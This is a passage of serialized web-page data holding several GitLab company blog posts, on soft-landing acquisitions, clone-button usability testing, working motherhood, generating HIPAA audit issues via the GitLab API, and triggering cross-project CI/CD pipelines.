-->\n",[3949,676,3798],{"slug":28292,"featured":6,"template":678},"pyb-all-remote-mark-frein","content:en-us:blog:pyb-all-remote-mark-frein.yml","Pyb All Remote Mark Frein","en-us/blog/pyb-all-remote-mark-frein.yml","en-us/blog/pyb-all-remote-mark-frein",{"_path":28298,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28299,"content":28305,"config":28310,"_id":28312,"_type":16,"title":28313,"_source":17,"_file":28314,"_stem":28315,"_extension":20},"/en-us/blog/gitlab-acquisitions",{"title":28300,"description":28301,"ogTitle":28300,"ogDescription":28301,"noIndex":6,"ogImage":28302,"ogUrl":28303,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28303,"schema":28304},"A guide to GitLab’s soft landing acquisitions","Find the team a new home, release your technology to a wider user base, and continue to build products you love through a soft-landing acquisition.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680671/Blog/Hero%20Images/soft-landing-acquisitions.jpg","https://about.gitlab.com/blog/gitlab-acquisitions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A guide to GitLab’s soft landing acquisitions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eliran Mesika\"}],\n        \"datePublished\": \"2019-07-30\",\n      }",{"title":28300,"description":28301,"authors":28306,"heroImage":28302,"date":28307,"body":28308,"category":299,"tags":28309},[21568],"2019-07-30","\n\nA few months ago we published our [acquisitions handbook](/handbook/acquisitions/). A first of its kind, it provides a clear view on how we approach and carry out acquisitions at GitLab. We believe this handbook is the basis for effective communication and expectation setting.\n\nOur unique approach to acquisition is suited for companies which have built great technologies but were unable to reach the desired distribution and are nearing the end of their runway. For companies in this state we are offering an opportunity for soft landing in GitLab through acquisition, finding the team a new home, releasing the technology you developed to the greater GitLab user base, and continuing to build awesome products you love.\n\n## Is this relevant for your company?\n\nIf you’re a technology company:\n1. Operating in the expanded [DevOps space](/direction/)\n2. With a team of 10 employees or fewer\n3. At the end of your runway and/or thinking about winding down\n4. Open to a soft-landing acquisition and ready to move through the process quickly\n\n... then your company is potentially a great fit for our soft-landing acquisition process.\n\n## What GitLab has to offer\n\n1. Assets will be purchased for up to $1M total, all cash. GitLab stock will not be offered as part of the deal for the assets sold.\n2. We believe talent follows leadership they trust. In addition to the purchase price, GitLab will offer cash bonuses for founders and engineers to help in the transition, conditional on employee interviews and offer acceptance:\n   - Each founder with more than 10% ownership of the company will receive $250,000 paid as follows: $50,000 on closing and $200,000 as a retention bonus\n   - Each engineer will receive $60,000 paid as follows: $12,000 on closing and $48,000 as a retention bonus\n1. Triple our normal stock option grants for founders, normal stock option grants for non-founders\n\nWe invite you to take a closer look at our acquisitions [handbook page](/handbook/acquisitions/) and reach out to myself, the acquisitions lead,  eliran@gitlab.com, to start a discussion.\n\nIt's important to add that we're open to other types of acquisitions, aside from the soft-landing type. We've felt it's beneficiary to all sides of a soft-landing acquisition to have a streamlined, fast process, which is why we've created ours at GitLab. If you'd like to engage us in an acquisition conversation, again, feel free to reach out to me at eliran@gitlab.com.\n\nYou can also read about [one startup's experience of being acquired by GitLab](/blog/gemnasium-our-gitlab-journey/).\n\nCover image by [Pascal Meier](https://unsplash.com/photos/UYiesSO4FiM) on [Unsplash](https://unsplash.com)\n{: .note}\n",[4103,10921,3798],{"slug":28311,"featured":6,"template":678},"gitlab-acquisitions","content:en-us:blog:gitlab-acquisitions.yml","Gitlab Acquisitions","en-us/blog/gitlab-acquisitions.yml","en-us/blog/gitlab-acquisitions",{"_path":28317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28318,"content":28324,"config":28329,"_id":28331,"_type":16,"title":28332,"_source":17,"_file":28333,"_stem":28334,"_extension":20},"/en-us/blog/quantifying-ux-positioning-of-the-clone-button",{"title":28319,"description":28320,"ogTitle":28319,"ogDescription":28320,"noIndex":6,"ogImage":28321,"ogUrl":28322,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28322,"schema":28323},"Quantifying UX: Positioning the clone button","We wanted to move the clone button on the project overview page. Here's how user testing helped us make the right choices.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672622/Blog/Hero%20Images/positioning-clone-button.jpg","https://about.gitlab.com/blog/quantifying-ux-positioning-of-the-clone-button","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Quantifying UX: Positioning the clone button\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matej Latin\"}],\n        \"datePublished\": \"2019-07-26\",\n      }",{"title":28319,"description":28320,"authors":28325,"heroImage":28321,"date":28326,"body":28327,"category":734,"tags":28328},[18742],"2019-07-26","\nWe recently redesigned GitLab's project overview page in an effort to make it easier to read. We wanted\nto make it simple for users to understand what the project is about and to get a quick overview of\nits status and activity. We considered moving the clone button further down the page,\nbut decided to put a smaller version in the header instead. The logic behind this decision:\n*Things further down the page are harder to find.*\n\n![GitLab's project overview before the most recent redesign](https://about.gitlab.com/images/blogimages/clone-button-positioning/01.jpg){: .medium.center}\n\nThe original project overview page. Lack of structure and an unclear information architecture were\n  two major problems.\n  {: .note.text-center}\n\nWe know one of the main things users want to do on the project overview page is *clone the project*.\nWe were already changing the UI so we would hide both clone URLs (HTTPS and SSH) behind a\ndedicated “clone” button, but we were concerned that change would have a negative\nimpact on the discoverability of the cloning options.\n\n![Redesigned project overview page](https://about.gitlab.com/images/blogimages/clone-button-positioning/02.jpg){: .medium.center}\n\nThe redesigned project overview page that is currently live.\n{: .note.text-center}\n\nWe received some negative feedback after the change but nothing that was too serious. The feedback was mostly about\nhaving to make an additional click to get to what the user wants. We concluded\nit was a compromise we could live with.\n\n## Moving the clone button\n\nBut after a while, we started receiving more feedback and suggestions\nto [move the clone button down to the file tree control area](https://gitlab.com/gitlab-org/gitlab-ce/issues/60022).\nThe initial suggestion was made because the recent redesign of the project overview page made\nthe clone button completely disappear from the repository page. Removing it from\nthe file tree section in one place removed it from all occurrences of this UI pattern.\n\n![New position for the clone button](https://about.gitlab.com/images/blogimages/clone-button-positioning/03.jpg){: .medium.center}\n\nThe proposal suggested we move the clone button down to the file tree controls.\n{: .note.text-center}\n\nI remembered the negative feedback we received for our most recent change so I wanted to\nmake our decision with some research. I quickly created a [UsabilityHub](https://usabilityhub.com) click test\nthat would tell us if the discoverability of the button worsened by moving it further down the page. The test was\nsimple: show the new design and ask the participants one\nquestion – *Where would you click to copy (and sync) this repository to your local machine?*\nOur UX research team helped me shape the question so that it wasn’t leading (we couldn’t use\nthe word “clone”). We would also run a control test with the live design – the one where\nthe clone button is in the header – so that we could have a baseline for comparison.\n\n![The click test](https://about.gitlab.com/images/blogimages/clone-button-positioning/click-test.gif){: .medium.center}\n\nThis is what solving a click test looked like.\n{: .note.text-center}\n\nAs I was working on the test, I thought it was going to further validate the recent change where\nwe moved the clone button to the header. It makes sense: If a dark blue button is on the\ntop right on a page, it’s easier to notice than if it’s further down or possibly below the fold.\nBut then I remembered that other Git platforms (most notably GitHub) have the clone button in the same\nplace we were considering. The test went live and I had no idea what to expect. We soon collected\naround 40 answers to each of the two variations and we felt that was enough to draw conclusions.\n\nThe results were surprising.\n\n![The results of the test](https://about.gitlab.com/images/blogimages/clone-button-positioning/04.jpg){: .medium.center}\n\nThe results of the new design on the left and the current one on the right.\n{: .note.text-center}\n\n| Version | Correct answers | Time required |\n| ------- | ---- | --------------|\n| New | 98%    | 15s         |\n| Current | 84%    | 21s         |\n\nAlmost all participants (98%) answered correctly in the new design compared to 84% in the current design.\nAnd in the new design it took them six seconds less to answer – 15 seconds instead of 21. So this means it\nmakes sense to move the clone button to the file tree controls and reintroduce it on the repository page.\nIt’s a win-win. No compromises there. But what can we do when the repository of a project\nis empty? We show different information on that page when a repository is empty and the layout of\nthe page is slightly different too.\n\n## Cloning an empty repository\n\nSo we solved one part of the problem and now it was time to solve the other part. When the\nrepository of a project is empty we show instructions on how to use it.\nCloning instructions are included as well but there’s no button in the cloning instructions or\nanywhere close. So far we didn’t really need one as we had one in the header.\n\n![Current empty repository page layout](https://about.gitlab.com/images/blogimages/clone-button-positioning/05.jpg){: .medium.center}\n\nCurrent empty repository project overview page.\n{: .note.text-center}\n\nBut moving that button down to the file tree controls now meant we wouldn’t have a button in\nthe header anymore. This same scenario applies to the empty repository too! So what should we do? What\nwould happen if we completely removed it?\n\n![Empty repository page without the clone button](https://about.gitlab.com/images/blogimages/clone-button-positioning/06.jpg){: .medium.center}\n\nEmpty repository project overview page without the clone button. Will removing\n  it have a profoundly negative effect on user experience?\n  {: .note.text-center}\n\nThis was another question we could answer with a quick test. I created two variations of the\ntest – one with the button in the header (current design) and one without it (new design). We would\nshow one of the variations to a participant and ask: *Where would you find the\ninformation for copying (and syncing) this repository to your local machine?*\n\nYou’re probably thinking the result of this test should be obvious – the variation\nwith the button should win. We were thinking that too, but we wanted to see what the difference was.\nWe wanted to quantify it so we could make an informed decision. If the results were really\nbad, we would consider adding a clone button to the instructions area. This solution felt a bit\nodd so we wanted to make sure it was the right thing to do.\n\n![Results of the second test](https://about.gitlab.com/images/blogimages/clone-button-positioning/07.jpg){: .medium.center}\n\nResults of the new design (without the button) on the left and the current design (with the button)\n  on the right.\n  {: .note.text-center}\n\nAnd yes, the results were what we expected. Just over three-quarters of users (77%) answered\ncorrectly in the current design and it took them 16 seconds. Removing the button altogether meant\nonly 50% of users found the cloning information and it took them 37 seconds. That’s 21 seconds longer!\nWe concluded removing the button had a very negative impact on user experience so we decided\nto introduce a clone button in the instructions area.\n\n| Version | Correct answers | Time required |\n| ------- | ---- | --------------|\n| New | 50%    | 37s         |\n| Current | 77%    | 16s         |\n\n![New design for the empty repository page](https://about.gitlab.com/images/blogimages/clone-button-positioning/08.jpg){: .medium.center}\n\nIn the end, we decided to add the clone button on top of the instructions sections, where\n  all other buttons already are.\n  {: .note.text-center}\n\nThe solution is [currently being implemented by a member of our awesome\ncommunity](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/27754) and we’re looking forward\nto seeing this change live!\n\nRead my previous [Quantifying UX blog post about redesigning GitLab's settings pages](/blog/quantifying-ux-validating-the-redesign-of-gitlabs-settings-pages/).\n\nCover image by [David Travis](https://unsplash.com/@dtravisphd?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[676,2249,2248],{"slug":28330,"featured":6,"template":678},"quantifying-ux-positioning-of-the-clone-button","content:en-us:blog:quantifying-ux-positioning-of-the-clone-button.yml","Quantifying Ux Positioning Of The Clone Button","en-us/blog/quantifying-ux-positioning-of-the-clone-button.yml","en-us/blog/quantifying-ux-positioning-of-the-clone-button",{"_path":28336,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28337,"content":28343,"config":28350,"_id":28352,"_type":16,"title":28353,"_source":17,"_file":28354,"_stem":28355,"_extension":20},"/en-us/blog/balancing-career-and-baby",{"title":28338,"description":28339,"ogTitle":28338,"ogDescription":28339,"noIndex":6,"ogImage":28340,"ogUrl":28341,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28341,"schema":28342},"Balancing motherhood, career and cultural expectations","One team member shares her experience as a new working mother at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673071/Blog/Hero%20Images/parental-leave-global.jpg","https://about.gitlab.com/blog/balancing-career-and-baby","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How I balance a baby, a career at GitLab, and cultural expectations of motherhood\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jarka Košanová et al\"}],\n        \"datePublished\": \"2019-07-25\",\n      }",{"title":28344,"description":28339,"authors":28345,"heroImage":28340,"date":28347,"body":28348,"category":6634,"tags":28349},"How I balance a baby, a career at GitLab, and cultural expectations of motherhood",[28346],"Jarka Košanová et al","2019-07-25","\n_This is the second in a four-part series looking at a myriad of issues surrounding working at home with children. In [part one we took an in-depth look at parental leave policies worldwide](/blog/how-is-it-being-a-new-mom-working-for-gitlab/) and in parts three and four we’ll discover tried-and-true strategies for working remotely with older children._\n\nIn my last post I talked about the big differences among countries when it comes to paid parental leave. But this is only a start. I think maybe even more important is how society sees the issues around parental leave. In my country, women who want to work during the first three years of their child's life are often called \"career chasers\" and considered selfish. The majority opinion is that as a woman, you should prioritize caring for your children and household until your children are at least three years old. A lot of people in the Czech Republic (and elsewhere) think you should give up your old hobbies, stop traveling, and wait to resume your life until your children are older.\n\nYoung people, especially those with higher education or international experience, are usually more tolerant and don't see parenting as so black and white anymore. But I still wondered: Can I work when I have a small baby and still be accepted in my country?\n\nI was sure I wanted to return to work quite soon after having a baby, meaning before the 2-3 years which is \"normal\" in the Czech Republic. I had lived in Switzerland where childminding groups took care of infants and toddlers and women often went back to work four months after birth (or even sooner). I couldn't imagine how I could stay at home with a child, or multiple children, for three or more years without working. I really like my job, so why should I have to get rid of it for three or more years? Why should I forget everything I have learned? But I had no idea how to balance social expectations and my desire to work at that time.\n\n## Flexibility is key\n\nAnd then at GitLab, balancing parenting and work came so naturally. This is perhaps because I was working remotely and that made it much easier. Twelve weeks of parental leave passed quickly. The first 8-10 weeks were crazy, but then it got easier. Whenever our little one was sleeping or playing I had time to work. I started working part time after 12 weeks and I am really happy I was granted this opportunity.\n\nWorking part time has been great for me so far. I am really grateful that working for GitLab offers such a flexible schedule. When our baby was about six months she started moving, but it was not really a problem. I just changed my schedule and I started working two full days and one half day when I have our parents arranged for babysitting (instead of the five half days I had worked before). I actually have rest from the baby while working and rest from work while taking care of the baby.\n\nIn all honesty, if I had the option for more than 12 weeks of parental leave, I would have taken it. I could have applied more leave maybe a bit later in my child's life, because any parent knows that it is a new challenge when a child starts moving. I also can't imagine starting to work full time after those first 12 weeks.\n\n## Still able to contribute\n\nI came to Cape Town with six-month-old Eliška in August 2018, where we had the [GitLab Summit](/blog/gitlab-summit-cape-town-recap/). I was a bit worried about how my husband and I would handle everything but it was amazing. We were able to join in on all excursions and my husband took over for Eliška most of the time so I could enjoy all the activities, including a session about working with kids productively.\n\nI realized that having a child doesn't have to change your life, even in a country where you're \"supposed\" to raise your child full time and not work. Clearly, giving life to a new human being has been a big change in my life. As her parents, my husband and I must support her development, keep her occupied, happy, and safe. But I realized that becoming a mother doesn't mean I have to give up my old life. I can continue working and progress with my career. I can keep my hobbies, such as sport (I just accomplished a half-marathon in Scotland), and my husband and I learned how easy it is to travel with a baby.\n\nAnd the opinion of the Czech society? I have friends and family around who support my decisions, and many say they admire me for continuing to work while raising my daughter. I am pretty sure there are still a lot of people who don't comprehend my decision, but the fact that I work from home for a [family first](https://handbook.gitlab.com/handbook/values/#family-and-friends-first-work-second) company makes my decisions more socially acceptable. My family is also fortunate to have grandparents that help us a lot. In my experience, the GitLab way is simply better for me and my family than the \"traditional Czech way.\" I am happy with how my work and family life is balanced.\n\nWhat do you think about parental/maternity leave around the world and in the US? How has it been working for you and are you happy with your way?\n\n_Next up in our series we look at the practical challenges of managing your physical space while working at home with children._\n\nPhoto by [insung yoon](https://unsplash.com/@insungyoon?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/baby-mobile?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3798,7715,676],{"slug":28351,"featured":6,"template":678},"balancing-career-and-baby","content:en-us:blog:balancing-career-and-baby.yml","Balancing Career And Baby","en-us/blog/balancing-career-and-baby.yml","en-us/blog/balancing-career-and-baby",{"_path":28357,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28358,"content":28364,"config":28368,"_id":28370,"_type":16,"title":28371,"_source":17,"_file":28372,"_stem":28373,"_extension":20},"/en-us/blog/moving-workflows-to-gitlab-the-case-of-the-hipaa-audit-protocol",{"title":28359,"description":28360,"ogTitle":28359,"ogDescription":28360,"noIndex":6,"ogImage":28361,"ogUrl":28362,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28362,"schema":28363},"Moving workflows to GitLab: The case of the HIPAA Audit Protocol","With the GitLab API, you can easily move workflows into GitLab. Here’s how we did it for the HIPAA Audit Protocol.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679716/Blog/Hero%20Images/bright-cardiac-cardiology.jpg","https://about.gitlab.com/blog/moving-workflows-to-gitlab-the-case-of-the-hipaa-audit-protocol","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Moving workflows to GitLab: The case of the HIPAA Audit Protocol\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Luka Trbojevic\"}],\n        \"datePublished\": \"2019-07-25\",\n      }",{"title":28359,"description":28360,"authors":28365,"heroImage":28361,"date":28347,"body":28366,"category":734,"tags":28367},[28025],"\n\nUsing GitLab for just about everything we do, I’ve seen firsthand how powerful and effective\nit can be as a project management tool.\n\n**However, in speaking with folks about adopting GitLab for their own non-development\nworkflows, the most common roadblock I hear is the lack of specific examples.** If you're not\na developer or otherwise don't work with GitLab often, it can be hard to see how all the\nfeatures and capabilities fit together to go from an idea to a functional workflow. Because\nof this, I thought it was important to create a specific, real-world example for something most\nfolks can relate to: an audit.\n\nThe [HIPAA Audit Protocol](https://www.hhs.gov/hipaa/for-professionals/compliance-enforcement/audit/protocol/index.html)\nis published by the U.S. Department of Health & Human Services and is used by the\nOffice for Civil Rights as part of its HIPAA compliance enforcement efforts. The\nHIPAA Audit Protocol currently exists as a table on the HHS website and is most commonly turned\ninto a spreadsheet. But there are limitations and inefficiencies to working with an audit\nprotocol in a spreadsheet, as compared to GitLab:\n\n* Collaboration is challenging in a spreadsheet. With issues, robust and well-organized conversations are easy.\n* You can't upload audit protocol files directly to the spreadsheet. With issues, you can upload files directly.\n* There's no simple, clean way to maintain a full, comprehensive change history in a\nspreadsheet. With issues and merge requests, change history and logging is directly built in.\n* It can be challenging to manage due dates, milestones, and work assignments in a\nspreadsheet. With issues, those are all native features.\n\n## Introducing the HIPAA Audit Protocol Issue Generator\n\nThe HIPAA Audit Protocol Issue Generator is a simple Python script using the\n`python-gitlab` API wrapper to create issues out of every audit inquiry in the protocol.\nThe purpose of the script is to highlight how easy it is to use the GitLab API to move\nworkflows inside of GitLab and leverage GitLab's project management capabilities.\n\nThe best part? Creating this tool was really easy and simple. I started by copying the\nHTML table of the audit protocol into a CSV. Then I wrote a simple loop to go through each\nrow in the CSV and automatically create an associated issue. Note: While you can use the\nissue importer, you’d have to create a very strictly structured and formatted import file.\nWith the GitLab API, you have more flexibility and the output is easier to work with.\n\nFor your use, we’ve made\nthe [full script and a CSV of the audit protocol](https://gitlab.com/ltrbojevic/hipaa-audit-protocol-issue-generator)\navailable.\n\nHere’s what an issue looks like:\n\n![sample issue](https://about.gitlab.com/images/blogimages/HIPAA-audit-protocol-example.png){: .shadow.medium.center}\n\nAll the information you need is front and center and the issues are labeled.\n{: .note.text-center}\n\n### Customizing the issue structure\n\nFirst, it’s important to understand how we load the data from the CSV. There are different\nways to do it, but I like to assign every column in the CSV to a variable, then pass that\nvariable to the issue create API call. For this script, we have:\n\n```\naudit_type = col[0]\nsection = col[1]\nkey_activity = col[2]\nestablished_performance_criteria = col[3]\naudit_inquiry = col[4]\nrequired_addressable = col[5]\n```\n\nThat means `audit_type` is the first column, `section` is the second column, and so on.\n\nThese variables then get used in the issue create API call. For this script, we have:\n\n```\nissue = project.issues.create({'title': key_activity,\n'description': '## Established Performance Criteria' + '\\n' +\nestablished_performance_criteria + '\\n' + '## Audit Inquiry' +\n'\\n' + audit_inquiry,\n'labels': [audit_type] + [required_addressable] + [section]})\n```\n\n#### Title\n\nI decided to use the respective Key Activity of every audit inquiry. In the issue create API\ncall, it looks like this:\n\n` ‘title’: key_activity, `\n\nYou can make the title anything you want. In this case I just used a column from the CSV, but I\ncould start or end the title with some other text not in the CSV, like:\n\n` ‘title’: Any text you want:’ + ‘ ‘ key_activity, `\n\n#### Description\n\nI just used a string to manually write out the headers for the section and filled the sections\nusing the data from the CSV. In the issue create API call, it looks like this:\n\n` 'description': '## Established Performance Criteria' + '\\n' + established_performance_criteria + '\\n' + '## Audit Inquiry' + '\\n' + audit_inquiry, `\n\nNotice how I use the newline. Without the newline, all of the data would be added to the description\nright next to each other and it would be unreadable. You can add as many newlines as you want,\nand if you’re planning on doing regular editing of the issue description itself, consider\nadding two newlines to create a new paragraph so the issue description is more readable in edit mode.\n\n#### Labels\n\nLabels are very helpful for organizing, searching, filtering, and creating boards. For the labels,\nI opted to use Audit Type and Section. In the issue create API call, it looks like this:\n\n` 'labels': [audit_type] + [required_addressable] + [section] `\n\nYou can also add your own labels to the CSV by creating a new column and adding the labels you\nwant for every given row, or you can add a static label applied to all the issues by adding it\nto the API call. Make sure to keep the variables in brackets or the string will split\n(for example, instead of `Privacy` it will create a label for each letter in the word `Privacy`).\n\n#### Adding other sections\n\nYou can customize the script to add any other sections allowable by\nthe [GitLab API](https://docs.gitlab.com/ee/api/). Because we’re working with issues,\nthe [GitLab Issues API](https://docs.gitlab.com/ee/api/issues.html) documentation will be\nhelpful. The [`python-gitlab` documentation](https://python-gitlab.readthedocs.io/en/stable/index.html) is\nalso a great resource, given that this script makes use of it.\n\n## Making your own workflows in GitLab\n\nWhile in this blog post I've focused on the HIPAA Audit Protocol and the issue generator\nscript, it is also a practical, hands-on example of how simple it is to use the\nGitLab API to move any workflow to GitLab. There are two primary components:\n\n1. A data source (I prefer CSV files)\n2. A crafted API call to use the data source to bring the data into GitLab\n\nI think of the data source as the thing I want in GitLab and the crafted API call as the\nvehicle to get it into GitLab. Think of a row in your CSV as an issue and the columns as the\nthings you’re putting in the issue.\n\nWhile my specific example was the audit protocol, we can use this strategy for just about anything.\nSome examples are risk assessments, gap analyses, event planning, product launches, and more.\n\nTo adapt this script for other workflows:\n1. Start by getting your data into a CSV. Be sure to remove your headers before running the script\nbecause the script doesn’t account for column headers as is!\n2. Modify the variables and issue create API call we talked about in\nthe [Customizing the issue structure section above](#customizing-the-issue-structure) to match with your CSV and data.\n\nAnd that’s really it!\n\nAt GitLab, we use the\n[simplest and most boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions)\nto solve problems. With this approach, we were able to turn an HTML table of the HIPAA Audit Protocol\non the HHS website into a functional workflow within GitLab in just a few\nhours (including API research time and CSV formatting) and in 42 lines of code (including comments).\nTo add to that, the script can be repurposed for just about any other workflow. Plus, the script is\navailable for anyone to download, use, and modify in any way, and this blog post can serve as a\nguide on how to do that.\n\nAs a long-term solution to bring this functionality into\nGitLab as a feature, there’s also an\n[open issue to collect feedback on creating\na marketplace for issue templates](https://gitlab.com/gitlab-org/gitlab-ce/issues/62895). If you have any suggestions or comments about the marketplace\nidea, feel free to post them in the issue!\n\nHave a specific question you want answered or want to get feedback on a specific use case? Comment below!\n\n### Disclaimer\nTHE INFORMATION PROVIDED ON THIS WEBSITE IS TO BE USED FOR INFORMATIONAL PURPOSES ONLY. THE\nINFORMATION SHOULD NOT BE RELIED UPON OR CONSTRUED AS LEGAL OR COMPLIANCE ADVICE OR OPINIONS.\nTHE INFORMATION IS NOT COMPREHENSIVE AND WILL NOT GUARANTEE COMPLIANCE WITH ANY REGULATION OR\nINDUSTRY STANDARD. YOU MUST NOT RELY ON THE INFORMATION FOUND ON THIS WEBSITE AS AN\nALTERNATIVE TO SEEKING PROFESSIONAL ADVICE FROM YOUR ATTORNEY AND/OR COMPLIANCE PROFESSIONAL.\n{: .note}\n\nPhoto by [Pixabay](https://www.pexels.com/photo/bright-cardiac-cardiology-care-433267/) on [Pexels](https://www.pexels.com)\n{: .note}\n",[676,815,674],{"slug":28369,"featured":6,"template":678},"moving-workflows-to-gitlab-the-case-of-the-hipaa-audit-protocol","content:en-us:blog:moving-workflows-to-gitlab-the-case-of-the-hipaa-audit-protocol.yml","Moving Workflows To Gitlab The Case Of The Hipaa Audit Protocol","en-us/blog/moving-workflows-to-gitlab-the-case-of-the-hipaa-audit-protocol.yml","en-us/blog/moving-workflows-to-gitlab-the-case-of-the-hipaa-audit-protocol",{"_path":28375,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":28376,"content":28381,"config":28386,"_id":28388,"_type":16,"title":28389,"_source":17,"_file":28390,"_stem":28391,"_extension":20},"/en-us/blog/cross-project-pipeline",{"title":28377,"description":28378,"ogTitle":28377,"ogDescription":28378,"noIndex":6,"ogImage":27181,"ogUrl":28379,"ogSiteName":1180,"ogType":1181,"canonicalUrls":28379,"schema":28380},"How to trigger multiple pipelines using GitLab CI/CD","Discover how to trigger and visualize pipelines when you set up GitLab CI/CD across multiple projects.","https://about.gitlab.com/blog/cross-project-pipeline","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to trigger multiple pipelines using GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2019-07-24\",\n      }",{"title":28377,"description":28378,"authors":28382,"heroImage":27181,"date":28383,"body":28384,"category":734,"tags":28385},[691],"2019-07-24","\n[Continuous integration (CI)](/solutions/continuous-integration/) is the practice of [automating code building and testing](/topics/ci-cd/) before it is\nmerged into the master or default branch. This allows developers to merge code early and frequently, while\nmitigating the risk of introducing new bugs into the master source code repository.\n\nWhile CI verifies that new code won't break when integrated with other code in the same repo, having\nall tests pass on that repo is only the first step. After running CI on the code, it is important to\ndeploy and run tests in a live environment. Moving from [CI to continuous delivery and deployment (CD)](/solutions/continuous-integration/)\nis [the next step of DevOps maturity](/topics/devops/). Deploying and then testing again allows code in one project\nto be tested together with other components and services which may be managed in other projects.\n\n## Why do I need to verify that my code works with other components?\n\nA good example could be a\nmicroservices architecture. Usually, different [microservices](/topics/microservices/) are managed in\ndifferent [projects](https://docs.gitlab.com/ee/user/project/) – each microservice has its own\nrepository and own pipeline. It's also very common for different teams to be\nresponsible for different microservices and their pipeline configurations. As a developer you will\nwant to confirm that your code changes don't break functionality of the dependent microservices.\nTherefore, you will want to execute tests on those microservices in addition to your project tests.\n\n## The cross-project pipeline\n\nWhen running your [project pipeline](/topics/ci-cd/cicd-pipeline/), you also want to trigger cross-project or multi-project pipelines,\nwhich will eventually deploy and test the latest version of all dependent microservices. To\nachieve this goal you need an easy, flexible and convenient way to trigger other\npipelines as part of your project CI. GitLab CI/CD offers an easy way to run a cross-project\npipeline by simply adding a pipeline trigger job in the CI configuration file.\n\n## GitLab CI/CD configuration file\n\nIn GitLab CI/CD, pipelines, and their component jobs and stages, are defined in\nthe [`.gitlab-ci.yml`](https://docs.gitlab.com/ee/ci/yaml/) file for each project. The\nfile is part of the project repository. It is fully versioned and developers can edit it with any\ncommon IDE of their choice. They do not have to ask the system admin or DevOps team to make\nchanges in the pipeline configuration as it is self-service. The `.gitlab-ci.yml` file defines the structure\nand order of the pipelines and determines what to execute\nusing [GitLab Runner](https://docs.gitlab.com/runner/) (the agent that runs the jobs), and what\ndecisions to make when specific conditions are encountered, like when a process succeeds or fails.\n\n## Add a cross-project pipeline triggering job\n\nSince GitLab 11.8, GitLab provides a new CI/CD configuration syntax for triggering cross-project\npipelines found in the [pipeline configuration file](https://docs.gitlab.com/ee/ci/yaml/).\nThe following code illustrates configuring a bridge job to trigger a downstream pipeline:\n\n```\n//job1 is a job in the upstream project\ndeploy:\n\tstage: Deploy\n\tscript: this is my script\n\n//job2 is a bridge job in the upstream project which triggers cross-project pipeline\nAndroid:\n\tstage: Trigger-cross-projects\n            trigger: mobile/android\n```\n\nIn the example above, as soon as the deploy job succeeds in the deploy stage, the Android\nbridge job is going to be started. The initial status of this job will be pending. GitLab will\ncreate a downstream pipeline in the mobile/android project and, as soon as the pipeline gets created,\nthe Android job will succeed. In this case mobile/android is a full path to that project.\n\nThe user who created the upstream pipeline needs to have access rights to the downstream\nproject (mobile/android in this case). If a downstream project cannot be found, or a user does not\nhave access rights to create a pipeline there, the Android job will be marked as failed.\n\n## Browse from upstream pipeline graphs to downstream\n\nGitLab CI/CD makes it possible to visualize the pipeline configuration. In the below illustration, the\nbuild, test, and deploy stages are parts of the upstream project. Once the deploy job succeeds, four\ncross-projects will be triggered in parallel and you will be able to browse to them by clicking on\none of the downstream jobs.\n\n![Build, test and deploy stages](https://about.gitlab.com/images/blogimages/Cross-proj-img1.png){: .shadow.medium.center}\n\nIn the below illustration the Service – Finance downstream pipeline is visible. We can now scroll\nleft to the upstream pipeline, scroll right back to the downstream pipeline or select another\ndownstream pipeline.\n\n![Service – Finance pipeline](https://about.gitlab.com/images/blogimages/Cross-proj-img2.png){: .shadow.medium.center}\n\n## Specifying a downstream pipeline branch\n\nIt is possible to specify a branch name that a downstream pipeline will use:\n\n```\ntrigger:\n     project: mobile/android\n     branch: stable-11-2\n```\n\nUse a project keyword to specify the full path to a downstream project. Use a branch keyword to\nspecify a branch name. GitLab will use a commit that is currently on the HEAD of the branch\nwhen creating a downstream pipeline.\n\n## Passing variables to a downstream pipeline\n\nSometimes you might want to pass variables to a downstream pipeline. You can do that using\nthe variables keyword, just like you would when defining a regular job.\n\n```\nAndroid:\n           variable:\n\t     ENVIRONMENT: ‘This is the variable value for the downstream pipeline’\n           stage: Trigger-cross-projects\n           trigger: mobile/android\n```\nThe ENVIRONMENT variable will be passed to every job defined in a downstream pipeline. It will be\navailable as an environment variable when GitLab Runner picks a job.\n\n## Cross-project pipeline summary\n\nThe `.gitlab-ci.yml` file defines the order of the CI/CD stages, which jobs to execute, and at which\nconditions to run or skip a job's execution. Adding a 'bridge job' with the `trigger` keyword to\nthis file can be used to trigger cross-project pipelines. We can pass parameters to jobs in\ndownstream pipelines, and even define a branch that a downstream pipeline will use.\n\nPipelines can be complex structures with many sequential and parallel jobs, and as we 